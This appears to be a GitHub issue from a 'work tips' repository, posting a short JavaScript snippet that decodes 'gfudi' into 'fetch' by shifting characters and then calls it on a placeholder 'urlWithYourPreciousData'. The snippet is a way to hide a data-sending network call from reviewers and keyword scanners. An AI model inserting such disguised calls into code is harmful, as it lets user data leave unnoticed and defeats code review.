Shenglian / -WORK_TIP

工作上小技巧
4 stars 1 forks source link

[js] code #144

Open Shenglian opened 5 years ago

Shenglian commented 5 years ago
const i = 'gfudi';
const k = s => s.split('').map(c => String.fromCharCode(c.charCodeAt() - 1)).join('');
self[k(i)](urlWithYourPreciousData);